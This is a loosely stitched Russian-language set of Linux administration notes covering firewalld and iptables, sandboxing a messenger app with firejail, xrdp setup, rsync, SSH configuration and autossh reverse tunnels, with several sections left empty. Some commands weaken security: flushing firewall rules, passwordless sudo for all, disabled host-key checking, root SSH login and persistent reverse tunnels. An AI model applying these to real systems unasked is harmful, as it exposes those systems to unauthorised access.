# firewall-cmd --get-services
... включение службы в пределах зоны
# firewall-cmd [--zone=] --add-service=
... отключение службы для зоны
# firewall-cmd [--zone=] --remove-service=
... сделать запрос, включена ли служба в пределах зоны
# firewall-cmd [--zone=] --query-service=
... включение службы в пределах зоны на постоянно
# firewall-cmd --permanent [--zone=] --add-service=
Включение/Отключения маскарадинга:
... включение маскарадинга в пределах зоны
# firewall-cmd [--zone=] --add-masquerade
... отключение маскарадинга для зоны
# firewall-cmd [--zone=] --remove-masquerade
Включение/Отключения блока ICMP:
... включение блока ICMP в пределах зоны:
# firewall-cmd [--zone=] --add-icmp-block=
... отключение блока ICMP для зоны:
# firewall-cmd [--zone=] --remove-icmp-block=
Включение/Отключение перенаправления или переназначения портов:
... включение перенаправления или переназначения портов в пределах зоны
# firewall-cmd [--zone=] --add-forward-port=port=[-]:proto= { :toport=[-] | :toaddr=
| :toport=[-]:toaddr=
}
... отключение перенаправления или переназначения портов для зоны
# firewall-cmd [--zone=] --remove-forward-port=port=[-]:proto= { :toport=[-] | :toaddr=
| :toport=[-]:toaddr=
}

... Пример: Перенаправление ssh на узел 127.0.0.2 в пределах зоны home:
# firewall-cmd --zone=home --add-forward-port=port=22:proto=tcp:toaddr=127.0.0.2
Запуск/Останов/Перезапуск службы firewalld:
# systemctl stop/start/restart firewalld.service
Если хотите использовать собственные правила статического брандмауэра совместно со службами iptables и ip6tables, установите iptables-services, отключите FirewallD, а также включите iptables и ip6tables:
# yum install iptables-services
# systemctl mask firewalld.service
# systemctl enable iptables.service
# systemctl enable ip6tables.service
Для задействования своих правил статического межсетевого экрана используйте /etc/sysconfig/iptables и /etc/sysconfig/ip6tables.

проверить какие порты открыты:
netstat -nlp
netstat -anp | grep 8080
nmap -sT -O localhost
lsof -i | grep 8080

iptables -L -v -n
iptables -A INPUT -p tcp --dport 8080 -j ACCEPT

сохранить:
/usr/libexec/iptables/iptables.init save

Стандартные зоны FirewallD:

Drop - неизменяемая зона
Все входящие сетевые пакеты сбрасываются, ответ на них недопустим. Возможны только исходящие сетевые соединения.
Block - неизменяемая зона
Все входящие сетевые соединения отклоняются с сообщениями icmp-host-prohibited (для IPv4) и
icmp6-adm-prohibited (для IPv6). Возможны только инициированные в рамках данной системы сетевые соединения.
Trusted - неизменяемая зона
Разрешены все сетевые соединения.
Public
Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети считаются ненадёжными.
Предназначено для использования в общественных местах.
External
Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети считаются ненадёжными. Предназначено для использования во "внешних" сетях с активированным режимом маскарадинга, особенно с применением роутеров.
DMZ
Разрешены лишь отдельные входящие соединения.Предназначено для компьютеров в личной "безоружной" зоне с ограниченным общественным доступом к внутренней сети.
Work
Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети, по большей части, считаются надёжными.
Предназначено для использования в рабочем пространстве.
Home
Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети, по большей части, считаются надёжными. Предназначено для использования в домашних сетях.
Internal
Предназначено для использования во "внутренних" сетях. Остальные компьютеры сети, по большей части, считаются надёжными. Разрешены лишь отдельные входящие соединения.


http://linux-notes.org/udalit-iptables-pravilo/

iptables -L your_chain_name -n -v
iptables -I INPUT -p tcp --dport 22 -j ACCEPT
iptables -D INPUT номер_строки

очистить все правила iptables
iptables -F
iptables -X


# iptables -L INPUT --line-numbers
# iptables -L INPUT -n --line-numbers | less
# iptables -L INPUT -n --line-numbers | grep 172.16.0.101

посмотреть правила
iptables -S

проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

посмотреть

установка


https://download.max.ru/linux-repos



sudo apt update
sudo apt install max

изолировать десктопный клиент linux


есть qemu и docker, то есть virbr0 и docker0 надо запустить, чтобы оно не видело мою сеть

sudo apt install firejail

даём доступ в сеть




запустить в песочнице



уровень изоляции
Вот что именно он НЕ СМОЖЕТ передать:
Ваши файлы: Благодаря --private=~/max_data приложение «думает», что в вашем домашнем каталоге пусто. Оно не увидит ваши документы, фото, SSH-ключи, переписку в Telegram или историю браузера Chrome.
Ваше окружение (LAN): Благодаря --net=docker0 клиент видит только виртуальную сеть Docker. Он не узнает, какие устройства (умные лампы, NAS, другие ПК) есть в вашей домашней сети 192.168.x.x.
Ваш реальный MAC-адрес: Он увидит только виртуальный MAC-адрес интерфейса Docker, а не аппаратный адрес вашей Wi-Fi или сетевой карты.
Список установленных программ: Firejail по умолчанию скрывает содержимое многих системных директорий, мешая составить профиль вашего софта.

Что он ВСЁ ЕЩЕ МОЖЕТ передать:
Ваш внешний IP-адрес: Поскольку трафик уходит в интернет через ваш роутер, сервер MAX увидит ваш реальный публичный IP (если вы не используете VPN на уровне всей системы или внутри контейнера).
Сведения о «железе»: Даже в песочнице приложение может прочитать модель процессора (/proc/cpuinfo), объем оперативной памяти и версию ядра Linux.
Ваш часовой пояс и язык системы: Эти данные обычно доступны через переменные окружения, если их не подменить принудительно.
Метаданные внутри приложения: Номер телефона (при регистрации), ID вашего аккаунта и время активности в сети.

Как сделать изоляцию «абсолютной»?
Если вы хотите скрыть даже внешний IP, запускайте команду через VPN-интерфейс (если он у вас поднят в системе как отдельное устройство, например tun0):

firejail --net=tun0 --dns=1.1.1.1 --private=~/max_data --env=DISPLAY=$DISPLAY max

проверка изоляции
1. Проверка сетевого адреса (IP и MAC)
firejail --noprofile --net=docker0 --private=~/max_data bash -c "ip addr"

2. Проверка DNS-утечек
firejail --noprofile --net=docker0 --dns=1.1.1.1 --private=~/max_data bash -c "cat /etc/resolv.conf"

3. Видит ли он соседей по сети?
firejail --noprofile --net=docker0 --private=~/max_data ping -c 2 192.168.1.1

4. Проверка файловой системы
firejail --noprofile --private=~/max_data bash -c "ls -a ~"

5. Мониторинг в реальном времени
firejail --top

6. Проверка маршрутов
firejail --noprofile --net=docker0 --private=~/max_data ip route

Изоляция через Docker
Размер образа будет зависеть от того, насколько «чистым» вы его сделаете. Если использовать Ubuntu или Debian в качестве базы, то итоговый образ займет примерно 400–700 МБ.
Вот из чего складывается этот объем:
Базовый слой (Base Image): ubuntu:22.04 весит около 75 МБ.
Зависимости (Библиотеки): MAX — это графическое приложение (скорее всего, на базе Electron или Qt), ему нужны библиотеки X11, GTK/Qt, Mesa (для графики) и звуковые драйверы. Это добавит еще 200–300 МБ.
Сам клиент MAX: Его .deb пакет весит около 80–120 МБ.

Это создаст полностью изолированную файловую систему и сетевой стек.
Создайте Dockerfile ubuntu:22.04
dockerfile




или debian:13-slim
dockerfile




сборка
docker build -t max-client .

разрешение доступа
xhost +local:docker

варианты запуска










возможные ошибки
ls -la /usr/bin/firejail
Если в начале строки нет буквы s (например, -rwxr-xr-x), выполните:
sudo chmod u+s /usr/bin/firejail

если нет звука



Иногда приложению нужны права на низкоуровневые протоколы. Добавьте в команду:
--protocol=unix,inet,inet6

Cannot open netlink socket: Operation not supported
ping: socktype: SOCK_RAW
ping: socket: Операция не позволена
ping: => missing cap_net_raw+p capability or setuid?

Разрешите создание namespaces
Выполните команду (как root):
sudo sysctl -w kernel.unprivileged_userns_clone=1

(Чтобы настройка сохранилась после перезагрузки, добавьте строку kernel.unprivileged_userns_clone=1 в файл /etc/sysctl.d/99-sysctl.conf).

изоляция на android
Чтобы пресечь сканирование сети и контактов в обычном Android-приложении (по аналогии с вашим конфигом Firejail), используйте следующие инструменты:

1. Защита контактов (Аналог --private / No-Access)
В Android нельзя просто «подсунуть» пустой файл контактов через конфиг, но можно обмануть приложение:
Настройки системы: Самый простой путь — Настройки -> Приложения -> Max -> Разрешения -> Контакты -> Запретить.
Shelter / Insular (Рекомендую): Установите Max в Рабочий профиль через Shelter. В этом профиле список контактов по умолчанию пуст. Приложение будет думать, что у вас 0 знакомых, и не получит доступа к вашей основной книге.
App Ops (через Shizuku): Позволяет установить режим Ignore. Приложение будет запрашивать контакты, система скажет «ок», но вернет пустой список вместо ошибки (это предотвращает вылеты приложения).

2. Защита сети (Аналог --net=docker0 и --dns)
Сканирование локальной сети (LAN) в Android обычно происходит через mDNS или перебор IP в подсети.
RethinkDNS / NetGuard:
Установите это приложение (оно работает как локальный VPN).
В настройках для приложения Max включите Isolate (Изоляция). Это запретит ему любые соединения, кроме тех, что вы разрешите.
Там же можно принудительно задать DNS 1.1.1.1, как в вашей команде.
GrapheneOS / CalyxOS: Если у вас кастомная прошивка, там есть переключатель "Network". Если его выключить, приложение вообще не увидит сетевой стек (полный аналог net none).

3. Защита от сканирования Wi-Fi/Bluetooth
Приложения часто сканируют сеть через поиск соседних Wi-Fi точек или Bluetooth-устройств.
Зайдите в Настройки -> Местоположение -> Поиск сетей Wi-Fi и устройств Bluetooth -> Выключить оба.
Обязательно отзовите у приложения Max разрешение на Местоположение (Location). В Android доступ к списку Wi-Fi сетей неразрывно связан с GPS-разрешением.

Итоговый рецепт «Max-Android-Jail»:
Создаете рабочий профиль через Shelter.
Клонируете туда Max.
В основном профиле удаляете Max.
Ставите RethinkDNS, включаете в нем DNS 1.1.1.1 и блокируете для Max все, кроме нужных адресов.
Хотите подробнее узнать, как настроить RethinkDNS, чтобы приложение видело только интернет, но не вашу локальную сеть?

1. Установка и базовый DNS
Установите RethinkDNS (лучше версию с F-Droid или сайта разработчика, там больше функций, чем в Play Store).
Откройте приложение, нажмите на плитку DNS.
Выберите Configure -> Cloudflare (это и есть ваш 1.1.1.1) или введите вручную через «Custom DNS».
2. Изоляция от локальной сети (Аналог --net)
Чтобы приложение max не могло «пинговать» ваш роутер, умные лампочки или другие устройства в домашней сети:
В главном меню RethinkDNS зайдите в раздел Firewall.
Найдите пункт Universal Firewall Rules (Общие правила).
Включите переключатель Block LAN connections (Блокировать соединения в локальной сети).
Это запретит всем приложениям доступ к IP-адресам типа 192.168.x.x, 10.x.x.x и т.д.
3. Настройка конкретно для приложения Max
Если вы не хотите ограничивать всю систему, а только max:
В главном меню нажмите Apps (Приложения).
Найдите в списке приложение Max.
Нажмите на него, чтобы открыть индивидуальные настройки.
Убедитесь, что для него включен режим Firewall on.
Если нужно, чтобы оно работало только когда вы его видите, включите Block when screen is off.
(Опционально) В разделе Log вы сможете увидеть, куда именно max пытается «стучаться» (IP и домены), и заблокировать конкретные узлы одним нажатием.
4. Запуск «песочницы»
Вернитесь на главный экран RethinkDNS.
Нажмите кнопку START. Система запросит разрешение на создание VPN-соединения — подтвердите.
Теперь трафик идет через 1.1.1.1, а доступ к локальной сети для max закрыт.
Важный нюанс: Чтобы приложение не сканировало сеть через Wi-Fi/Bluetooth (соседние точки доступа), обязательно зайдите в настройки Android и отзовите у Max разрешение на «Местоположение» (Location). В Android сканирование эфира технически привязано к GPS.



https://github.com/sivel/speedtest-cli
https://pypi.org/project/speedtest-cli/
https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py
chmod +x и запустить в консоли



Тест скорости сети на busybox





развернуть
В этой статье мы рассмотрим установку xrdp на CentOS 7.
Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.


GNOME


А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.


Получим список групп доступного для установки программного обеспечения


yum grouplist

или так


yum groups list

Среди текста вывода команд мы увидим строку «GNOME Desktop»

Она то нам и нужна.

Запустить установку мы можем одной из следующих команд


yum groupinstall "GNOME Desktop"

или


yum groups install "GNOME Desktop"

Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд


yum groupinstall "Server with GUI"

или


yum groups install "Server with GUI"

После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.


systemctl set-default graphical.target

Для того, чтобы активировать его без перезагрузки


systemctl start graphical.target

xrdp


Теперь перейдем к xrdp.

Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.


В моем случае команды будут выглядеть следующим образом


wget http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
rpm -ivh epel-release-7-6.noarch.rpm

Еще одним вариантом, и соответственно, с тем же результатом, будет следующая команда, которая представляет из себя объединение двух предыдущих строк


rpm -ivh http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm

Теперь, если мы введем команду


yum repolist

в списке вывода мы должны увидеть нечто подобное


epel/x86_64   Extra Packages for Enterprise Linux 7 - x86_64   10,042

Далее нам нужно установить xrdp.


yum install xrdp

Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».

Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.


chcon -t bin_t /usr/sbin/xrdp
chcon -t bin_t /usr/sbin/xrdp-sesman

Запустить xrdp можно командой


systemctl start xrdp

а проверить, запустился ли он


systemctl status xrdp

Чтобы xrdp запускался каждый раз при старте системы


systemctl enable xrdp

Для подтверждения того, что он ожидает подключений на полагающемся ему порту 3389 можно ввести следующую команду


netstat -antup | grep xrdp

Firewall


Если на вашей системе активен межсетевой экран, потребуется разрешить прохождение трафика на порт 3389. Сделать это можно следующими командами


firewall-cmd --permanent --zone=public --add-port=3389/tcp
firewall-cmd --reload

Теперь можно попробовать подключиться к системе при помощи rdp-клиента, например, Microsoft Remote Desktop Connection.



https://sergeyvasin.net/2016/05/13/xrdp-centos/
установка сервера терминалов XRDP на Debian 9.



развернуть
список основных опций rsync:

-a, сохранять права доступа и информация о владельцах, включает опции -rlptgoD;
-r, копировать каталоги рекурсивно;
-l, копировать символические ссылки, не обращаться к файлам;
-p, сохранять прав доступа к файлам;
-t, сохранять время модификации файлов;
-g, -o, сохранять владельца и группы файла;
-D, охранять файлы устройств и специальных файлов;
-u, режим обновления, не синхронизировать файлы имеющие более позднюю дату модификации, чем в источнике;
-v, отображать имена копируемых файлов;
-q, не отображать сообщения об ошибках;
-z, сжимать данные;
-P, отображать прогресс копирования;
-с, проверка файлов по контрольной сумме;
--ignore-errors, игнорировать ошибки;
--max-delete, максимальное число удаляемых за один раз файлов и каталогов;
--files-from=FILE, указать список файлов и директорий для копирования;
-e ssh, использование при копировании SSH;
--bwlimit=KBPS, ограничение скорости передач данных.

наиболее наиболее часто используемые rsync примеры синхронизации файлов.

Используем rsync по SSH для синхронизации двух директорий или файлов:
rsync -zavP /source root@1.1.1.1:/backup

Можно синхронизировать сразу два каталога или файла:
rsync -zavP /source /source2 root@1.1.1.1:/backup

Копировать файлы с удаленного сервера на локальный:
rsync -zavP root@1.1.1.1:/backup /source

Использовать rsync по SSH с нестандартным портом:
rsync -zavP '-e ssh -p 12345' /source root@1.1.1.1:/backup

https://codebeer.ru/rsync-ssh-sinhronizaciya-fajlov-v-linux/
https://serveradmin.ru/rsync-nastroyka-bekapa-na-centos-debian-ubuntu/



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

private key file (например, id_rsa) – закрытый ключ для аутентификации, который содержит очень чувствительную информацию, поэтому он должен иметь права на чтение и запись для владельца и не быть доступным для группы и других, иначе ssh откажется подключаться.

public key (например, файл .pub) – открытый ключ для аутентификации, который также содержит конфиденциальную информацию, поэтому должен иметь права на чтение и запись для владельца, разрешение только на чтение для группы и других.

authorized_keys – содержит список открытых ключей, которые могут быть использованы для входа в систему в качестве данного пользователя. Он не является особо секретным, но должен иметь разрешения на чтение и запись для владельца и не быть доступным для группы и других.

known_hosts – хранит список ключей всех хостов, на которые входил пользователь по ssh. Он должен иметь права на чтение и запись для владельца и не должен быть доступен для групп и других пользователей.

config – файл конфигурации для каждого пользователя, должен иметь права на чтение и запись для владельца и не должен быть доступен для групп и других.

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys

Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa
или
ssh-keygen -t ed25519 -C "your_email@example.com" -f name_files

скопировать ключ на сервер
ssh-copy-id '-p 443 user@server'
или
cat ~/.ssh/id_ed25519.pub | ssh user@server_ip "mkdir -p ~/.ssh && touch ~/.ssh/authorized_keys && chmod -R go= ~/.ssh && cat >> ~/.ssh/authorized_keys"

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Запуск графических приложений Wayland через SSH
https://gitlab.freedesktop.org/mstoeckl/waypipe
https://man.archlinux.org/man/extra/waypipe/waypipe.1.en
waypipe ssh -C user@server weston-terminal
Waypipe должен быть установлен как на стороне клиента, так и на стороне сервера - один экземпляр выступает в роли сервера Wayland, а второй клиента Wayland.

Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

w
reptyr -T №_процесса_сессии_/dev/pts/цифра

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
